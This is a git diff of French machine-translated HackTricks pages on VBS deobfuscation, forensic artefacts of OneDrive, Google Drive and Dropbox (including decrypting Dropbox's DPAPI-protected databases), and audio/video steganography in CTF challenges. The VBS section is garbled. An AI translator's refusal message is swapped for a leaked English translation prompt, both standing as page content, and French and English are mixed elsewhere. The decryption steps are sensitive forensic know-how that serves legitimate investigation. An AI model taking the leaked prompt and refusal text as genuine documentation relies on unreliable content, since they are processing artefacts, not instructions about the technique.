<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
D'autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
|
||||||
Quelques éléments qui pourraient être utiles pour déboguer/désobfusquer un fichier VBS malveillant :
|
Certains éléments qui pourraient être utiles pour déboguer/désembrouiller un fichier VBS malveillant :
|
||||||
|
|
||||||
## echo
|
## echo
|
||||||
```bash
|
```bash
|
||||||
|
@ -23,7 +23,13 @@ Wscript.Echo "Like this?"
|
||||||
```text
|
```text
|
||||||
' this is a comment
|
' this is a comment
|
||||||
```
|
```
|
||||||
Since there is no provided text from the specified hacking book, I'm unable to translate it. If you provide the English text, I can then translate it into French for you.
|
## Test
|
||||||
|
|
||||||
|
The translation of the content will be displayed below:
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
The following is content from a hacking book about hacking techiques. The following content is from the file forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md. Translate the relevant English text to French and return the translation keeping excatly the same markdown and html syntax. Do not translate things like code, hacking technique names, hacking word, cloud/SaaS platform names (like Workspace, aws, gcp...), the word 'leak', pentesting, and markdown tags. Also don't add any extra stuff apart from the translation and markdown syntax.
|
||||||
```text
|
```text
|
||||||
cscript.exe file.vbs
|
cscript.exe file.vbs
|
||||||
```
|
```
|
||||||
|
@ -54,14 +60,14 @@ End Function
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
D'autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,89 +2,89 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm).
|
- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire et **automatiser des workflows** facilement, alimentés par les outils communautaires **les plus avancés**.\
|
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des flux de travail** alimentés par les outils communautaires les plus avancés au monde.\
|
||||||
Accédez-y dès aujourd'hui :
|
Accédez dès aujourd'hui :
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
## OneDrive
|
## OneDrive
|
||||||
|
|
||||||
Sous Windows, vous pouvez trouver le dossier OneDrive dans `\Users\<username>\AppData\Local\Microsoft\OneDrive`. Et à l'intérieur de `logs\Personal`, il est possible de trouver le fichier `SyncDiagnostics.log` qui contient des données intéressantes concernant les fichiers synchronisés :
|
Sous Windows, vous pouvez trouver le dossier OneDrive dans `\Users\<username>\AppData\Local\Microsoft\OneDrive`. Et à l'intérieur de `logs\Personal`, il est possible de trouver le fichier `SyncDiagnostics.log` qui contient certaines données intéressantes concernant les fichiers synchronisés :
|
||||||
|
|
||||||
* Taille en octets
|
- Taille en octets
|
||||||
* Date de création
|
- Date de création
|
||||||
* Date de modification
|
- Date de modification
|
||||||
* Nombre de fichiers dans le cloud
|
- Nombre de fichiers dans le cloud
|
||||||
* Nombre de fichiers dans le dossier
|
- Nombre de fichiers dans le dossier
|
||||||
* **CID** : ID unique de l'utilisateur OneDrive
|
- **CID** : Identifiant unique de l'utilisateur OneDrive
|
||||||
* Heure de génération du rapport
|
- Heure de génération du rapport
|
||||||
* Taille du disque dur du système d'exploitation
|
- Taille du disque dur du système d'exploitation
|
||||||
|
|
||||||
Une fois que vous avez trouvé le CID, il est recommandé de **rechercher des fichiers contenant cet ID**. Vous pourriez être en mesure de trouver des fichiers avec le nom : _**\<CID>.ini**_ et _**\<CID>.dat**_ qui peuvent contenir des informations intéressantes comme les noms des fichiers synchronisés avec OneDrive.
|
Une fois que vous avez trouvé le CID, il est recommandé de **rechercher des fichiers contenant cet ID**. Vous pourriez être en mesure de trouver des fichiers avec le nom : _**\<CID>.ini**_ et _**\<CID>.dat**_ qui peuvent contenir des informations intéressantes comme les noms des fichiers synchronisés avec OneDrive.
|
||||||
|
|
||||||
## Google Drive
|
## Google Drive
|
||||||
|
|
||||||
Sous Windows, vous pouvez trouver le dossier principal de Google Drive dans `\Users\<username>\AppData\Local\Google\Drive\user_default`\
|
Sous Windows, vous pouvez trouver le dossier principal de Google Drive dans `\Users\<username>\AppData\Local\Google\Drive\user_default`\
|
||||||
Ce dossier contient un fichier appelé Sync_log.log avec des informations telles que l'adresse e-mail du compte, les noms de fichiers, les horodatages, les hachages MD5 des fichiers, etc. Même les fichiers supprimés apparaissent dans ce fichier journal avec leur MD5 correspondant.
|
Ce dossier contient un fichier appelé Sync\_log.log avec des informations telles que l'adresse e-mail du compte, les noms de fichiers, les horodatages, les hachages MD5 des fichiers, etc. Même les fichiers supprimés apparaissent dans ce fichier journal avec leur hachage MD5 correspondant.
|
||||||
|
|
||||||
Le fichier **`Cloud_graph\Cloud_graph.db`** est une base de données sqlite qui contient la table **`cloud_graph_entry`**. Dans cette table, vous pouvez trouver le **nom** des **fichiers synchronisés**, l'heure de modification, la taille et le checksum MD5 des fichiers.
|
Le fichier **`Cloud_graph\Cloud_graph.db`** est une base de données sqlite qui contient la table **`cloud_graph_entry`**. Dans cette table, vous pouvez trouver le **nom** des **fichiers synchronisés**, l'heure de modification, la taille et le hachage MD5 des fichiers.
|
||||||
|
|
||||||
Les données de la table de la base de données **`Sync_config.db`** contiennent l'adresse e-mail du compte, le chemin des dossiers partagés et la version de Google Drive.
|
Les données de la table de la base de données **`Sync_config.db`** contiennent l'adresse e-mail du compte, le chemin des dossiers partagés et la version de Google Drive.
|
||||||
|
|
||||||
## Dropbox
|
## Dropbox
|
||||||
|
|
||||||
Dropbox utilise des **bases de données SQLite** pour gérer les fichiers. Dans ce\
|
Dropbox utilise des **bases de données SQLite** pour gérer les fichiers. Dans ce cas,\
|
||||||
Vous pouvez trouver les bases de données dans les dossiers :
|
Vous pouvez trouver les bases de données dans les dossiers :
|
||||||
|
|
||||||
* `\Users\<username>\AppData\Local\Dropbox`
|
- `\Users\<username>\AppData\Local\Dropbox`
|
||||||
* `\Users\<username>\AppData\Local\Dropbox\Instance1`
|
- `\Users\<username>\AppData\Local\Dropbox\Instance1`
|
||||||
* `\Users\<username>\AppData\Roaming\Dropbox`
|
- `\Users\<username>\AppData\Roaming\Dropbox`
|
||||||
|
|
||||||
Et les principales bases de données sont :
|
Et les principales bases de données sont :
|
||||||
|
|
||||||
* Sigstore.dbx
|
- Sigstore.dbx
|
||||||
* Filecache.dbx
|
- Filecache.dbx
|
||||||
* Deleted.dbx
|
- Deleted.dbx
|
||||||
* Config.dbx
|
- Config.dbx
|
||||||
|
|
||||||
L'extension ".dbx" signifie que les **bases de données** sont **chiffrées**. Dropbox utilise **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
|
L'extension ".dbx" signifie que les **bases de données** sont **chiffrées**. Dropbox utilise **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/ms995355\(v=msdn.10\)?redirectedfrom=MSDN))
|
||||||
|
|
||||||
Pour mieux comprendre le chiffrement utilisé par Dropbox, vous pouvez lire [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html).
|
Pour mieux comprendre le chiffrement utilisé par Dropbox, vous pouvez lire [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html).
|
||||||
|
|
||||||
Cependant, les informations principales sont :
|
Cependant, les principales informations sont :
|
||||||
|
|
||||||
* **Entropie** : d114a55212655f74bd772e37e64aee9b
|
- **Entropie** : d114a55212655f74bd772e37e64aee9b
|
||||||
* **Sel** : 0D638C092E8B82FC452883F95F355B8E
|
- **Sel** : 0D638C092E8B82FC452883F95F355B8E
|
||||||
* **Algorithme** : PBKDF2
|
- **Algorithme** : PBKDF2
|
||||||
* **Itérations** : 1066
|
- **Itérations** : 1066
|
||||||
|
|
||||||
En plus de ces informations, pour déchiffrer les bases de données, vous avez encore besoin de :
|
Outre ces informations, pour déchiffrer les bases de données, vous avez encore besoin de :
|
||||||
|
|
||||||
* La **clé DPAPI chiffrée** : Vous pouvez la trouver dans le registre à l'intérieur de `NTUSER.DAT\Software\Dropbox\ks\client` (exportez ces données en binaire)
|
- La **clé DPAPI chiffrée** : Vous pouvez la trouver dans le registre à l'intérieur de `NTUSER.DAT\Software\Dropbox\ks\client` (exportez ces données en binaire)
|
||||||
* Les ruches **`SYSTEM`** et **`SECURITY`**
|
- Les ruches **`SYSTEM`** et **`SECURITY`**
|
||||||
* Les **clés maîtresses DPAPI** : Qui peuvent être trouvées dans `\Users\<username>\AppData\Roaming\Microsoft\Protect`
|
- Les **clés maîtresses DPAPI** : Qui peuvent être trouvées dans `\Users\<username>\AppData\Roaming\Microsoft\Protect`
|
||||||
* Le **nom d'utilisateur** et le **mot de passe** de l'utilisateur Windows
|
- Le **nom d'utilisateur** et le **mot de passe** de l'utilisateur Windows
|
||||||
|
|
||||||
Ensuite, vous pouvez utiliser l'outil [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)**:**
|
Ensuite, vous pouvez utiliser l'outil [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)**:**
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (448).png>)
|
![](<../../../.gitbook/assets/image (448).png>)
|
||||||
|
|
||||||
Si tout se passe comme prévu, l'outil indiquera la **clé principale** que vous devez **utiliser pour récupérer l'originale**. Pour récupérer l'originale, utilisez simplement cette [recette cyber_chef](https://gchq.github.io/CyberChef/#recipe=Derive_PBKDF2_key(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D)) en mettant la clé principale comme "passphrase" à l'intérieur de la recette.
|
Si tout se passe comme prévu, l'outil indiquera la **clé principale** dont vous avez besoin pour **récupérer l'originale**. Pour récupérer l'originale, utilisez simplement cette [recette cyber\_chef](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\) en mettant la clé principale comme "phrase secrète" à l'intérieur de la recette.
|
||||||
|
|
||||||
Le hex résultant est la clé finale utilisée pour chiffrer les bases de données qui peuvent être déchiffrées avec :
|
Le hex résultant est la clé finale utilisée pour chiffrer les bases de données qui peuvent être déchiffrées avec :
|
||||||
```bash
|
```bash
|
||||||
|
@ -92,45 +92,45 @@ sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the con
|
||||||
```
|
```
|
||||||
La base de données **`config.dbx`** contient :
|
La base de données **`config.dbx`** contient :
|
||||||
|
|
||||||
* **Email** : L'email de l'utilisateur
|
- **Email** : L'email de l'utilisateur
|
||||||
* **usernamedisplayname** : Le nom de l'utilisateur
|
- **usernamedisplayname** : Le nom de l'utilisateur
|
||||||
* **dropbox\_path** : Chemin où se trouve le dossier Dropbox
|
- **dropbox\_path** : Chemin où se trouve le dossier Dropbox
|
||||||
* **Host\_id** : Hash utilisé pour s'authentifier au cloud. Cela ne peut être révoqué que depuis le web.
|
- **Host\_id** : Hash utilisé pour s'authentifier sur le cloud. Cela ne peut être révoqué que depuis le web.
|
||||||
* **Root\_ns** : Identifiant de l'utilisateur
|
- **Root\_ns** : Identifiant de l'utilisateur
|
||||||
|
|
||||||
La base de données **`filecache.db`** contient des informations sur tous les fichiers et dossiers synchronisés avec Dropbox. La table `File_journal` est celle qui contient les informations les plus utiles :
|
La base de données **`filecache.db`** contient des informations sur tous les fichiers et dossiers synchronisés avec Dropbox. La table `File_journal` est celle qui contient le plus d'informations utiles :
|
||||||
|
|
||||||
* **Server\_path** : Chemin où le fichier est situé à l'intérieur du serveur (ce chemin est précédé par le `host_id` du client).
|
- **Server\_path** : Chemin où se trouve le fichier sur le serveur (ce chemin est précédé par l'`host_id` du client).
|
||||||
* **local\_sjid** : Version du fichier
|
- **local\_sjid** : Version du fichier
|
||||||
* **local\_mtime** : Date de modification
|
- **local\_mtime** : Date de modification
|
||||||
* **local\_ctime** : Date de création
|
- **local\_ctime** : Date de création
|
||||||
|
|
||||||
D'autres tables à l'intérieur de cette base de données contiennent des informations plus intéressantes :
|
D'autres tables à l'intérieur de cette base de données contiennent des informations plus intéressantes :
|
||||||
|
|
||||||
* **block\_cache** : hash de tous les fichiers et dossiers de Dropbox
|
- **block\_cache** : hash de tous les fichiers et dossiers de Dropbox
|
||||||
* **block\_ref** : Relie l'ID de hash de la table `block_cache` avec l'ID de fichier dans la table `file_journal`
|
- **block\_ref** : Relie l'ID de hash de la table `block_cache` avec l'ID de fichier dans la table `file_journal`
|
||||||
* **mount\_table** : Dossiers partagés de Dropbox
|
- **mount\_table** : Partager des dossiers de Dropbox
|
||||||
* **deleted\_fields** : Fichiers supprimés de Dropbox
|
- **deleted\_fields** : Fichiers supprimés de Dropbox
|
||||||
* **date\_added**
|
- **date\_added**
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser des workflows** grâce aux outils communautaires **les plus avancés**.\
|
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
||||||
Obtenez l'accès aujourd'hui :
|
Accédez dès aujourd'hui :
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,9 +1,28 @@
|
||||||
De même que pour les formats de fichiers image, la manipulation de fichiers audio et vidéo est un thème courant dans les défis de forensique CTF, non pas parce que le piratage ou la dissimulation de données se produit de cette manière dans le monde réel, mais simplement parce que l'audio et la vidéo sont amusants. Comme pour les formats de fichiers image, la stéganographie peut être utilisée pour intégrer un message secret dans les données de contenu, et vous devriez savoir vérifier les zones de métadonnées du fichier pour trouver des indices. Votre première étape devrait être de jeter un coup d'œil avec l'outil [mediainfo](https://mediaarea.net/en/MediaInfo) (ou `exiftool`) et d'identifier le type de contenu et d'examiner ses métadonnées.
|
<details>
|
||||||
|
|
||||||
[Audacity](http://www.audacityteam.org/) est l'outil de visualisation de fichiers audio open-source de premier choix. Les auteurs de défis CTF adorent encoder du texte dans des formes d'ondes audio, que vous pouvez voir en utilisant la vue spectrogramme (bien qu'un outil spécialisé appelé [Sonic Visualiser](http://www.sonicvisualiser.org/) soit meilleur pour cette tâche en particulier). Audacity peut également vous permettre de ralentir, d'inverser et d'effectuer d'autres manipulations qui pourraient révéler un message caché si vous soupçonnez qu'il y en a un (si vous entendez un audio brouillé, des interférences ou du bruit). [Sox](http://sox.sourceforge.net/) est un autre outil de ligne de commande utile pour convertir et manipuler des fichiers audio.
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Il est également courant de vérifier les bits de poids faible (LSB) pour un message secret. La plupart des formats de médias audio et vidéo utilisent des "paquets" discrets (de taille fixe) afin qu'ils puissent être diffusés en continu ; les LSB de ces paquets sont un endroit commun pour faire passer des données sans affecter visiblement le fichier.
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
D'autres fois, un message peut être encodé dans l'audio sous forme de tonalités DTMF ou de code morse. Pour cela, essayez de travailler avec [multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng) pour les décoder.
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
Les formats de fichiers vidéo sont des formats de conteneurs, qui contiennent des flux séparés d'audio et de vidéo qui sont multiplexés ensemble pour la lecture. Pour analyser et manipuler les formats de fichiers vidéo, [FFmpeg](http://ffmpeg.org/) est recommandé. `ffmpeg -i` donne une analyse initiale du contenu du fichier. Il peut également démultiplexer ou lire en continu les flux de contenu. La puissance de FFmpeg est exposée à Python en utilisant [ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html).
|
</details>
|
||||||
|
|
||||||
|
|
||||||
|
From: [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)
|
||||||
|
|
||||||
|
Comme pour les formats de fichiers image, la manipulation de fichiers audio et vidéo est un thème courant dans les défis de forensics CTF, non pas parce que le piratage ou la dissimulation de données se produisent de cette manière dans le monde réel, mais simplement parce que l'audio et la vidéo sont amusants. Comme pour les formats de fichiers image, la stéganographie peut être utilisée pour incorporer un message secret dans les données de contenu, et vous devriez à nouveau vérifier les zones de métadonnées du fichier pour des indices. Votre première étape devrait être de jeter un coup d'œil avec l'outil [mediainfo](https://mediaarea.net/en/MediaInfo) \(ou `exiftool`\) et d'identifier le type de contenu et de regarder ses métadonnées.
|
||||||
|
|
||||||
|
[Audacity](http://www.audacityteam.org/) est l'outil premier open-source pour les fichiers audio et l'affichage des formes d'onde. Les auteurs de défis CTF aiment encoder du texte dans les formes d'onde audio, que vous pouvez voir en utilisant la vue spectrogramme \(bien qu'un outil spécialisé appelé [Sonic Visualiser](http://www.sonicvisualiser.org/) soit meilleur pour cette tâche en particulier\). Audacity peut également vous permettre de ralentir, inverser et effectuer d'autres manipulations qui pourraient révéler un message caché si vous soupçonnez qu'il y en a un \(si vous entendez un audio brouillé, des interférences ou du bruit\). [Sox](http://sox.sourceforge.net/) est un autre outil en ligne de commande utile pour convertir et manipuler des fichiers audio.
|
||||||
|
|
||||||
|
Il est également courant de vérifier les bits de poids faible (LSB) pour un message secret. La plupart des formats de médias audio et vidéo utilisent des "chunks" discrets (de taille fixe) afin qu'ils puissent être diffusés en continu ; les LSB de ces chunks sont un endroit commun pour faire passer des données sans affecter visiblement le fichier.
|
||||||
|
|
||||||
|
Parfois, un message peut être encodé dans l'audio sous forme de [tonalités DTMF](http://dialabc.com/sound/detect/index.html) ou de code morse. Pour cela, essayez de travailler avec [multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng) pour les décoder.
|
||||||
|
|
||||||
|
